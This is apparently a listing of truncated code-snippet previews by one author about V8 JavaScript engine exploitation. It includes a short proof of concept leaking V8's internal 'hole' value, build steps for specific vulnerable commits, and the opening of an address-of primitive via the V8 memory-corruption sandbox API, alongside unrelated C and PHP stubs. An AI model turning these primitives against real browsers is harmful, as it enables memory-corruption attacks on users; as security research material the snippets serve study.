mistymntncop

function leak_hole() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn() {
    let hole = leak_hole();
    %DebugPrint(hole);
}

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>

//Just pedagogical. No proper memory managagement here, would use Arenas in practice

enum {

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>

//Just pedagogical. No proper memory managagement here, would use Arenas in practice

#define NODE_CHILD_COUNT 2

mistymntncop

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <malloc.h>
#include <assert.h>

//Just pedagogical. No proper memory managagement here, would use Arenas in practice

#define NODE_CHILD_COUNT 2

mistymntncop

//Preconditons
//----------------------
// (1) The receiver must be a regular object and the key a unique name.
//        this excludes special objects such as globalThis, wasm object, etc
// (2) The property to be deleted must be the last property.
// (3) The property to be deleted must be deletable.
//        this excludes non-configurable properties. So no frozen or sealed objects.
// (4) The map must have a back pointer.
//        this excludes prototype maps
// (5) The last transition must have been caused by adding a property

mistymntncop

d8.file.execute("wasm-module-builder.js");

let builder = new WasmModuleBuilder();

let array_type = builder.addArray(kWasmI32, true);
builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)]))
    .addBody([
        kExprLocalGet, 0,
        kGCPrefix, kExprArrayNewDefault, array_type,
    ])

mistymntncop

// Build d8 using:
// a) Run once
//    git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71
//    gclient sync
//    gn gen ./out/x64.debug
//    gn gen ./out/x64.release
//
// b) 
//    Debug Build:
//    ninja -C ./out/x64.debug d8

mistymntncop

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>

#include "nt_crap.h"

#define ArrayCount(arr) (sizeof(arr)/sizeof(arr[0]))
#define assert(expr) if(!(expr)) { *(char*)0 = 0; }

mistymntncop

<?php header("Status: 204"); ?>

mistymntncop

//v8 version 11.4.183.19
//git checkout 56e5481171da3eacd3cb83db2be3b2d2b96b4abb 
//MODIFY BUILD.gn in the root v8 folder to enable the memory corruption api
//v8_expose_memory_corruption_api = true
//ninja -C ./out/x64.debug d8   
//ninja -C ./out/x64.release d8


const addr_of = (o) => {
    return Sandbox.getAddressOf(o);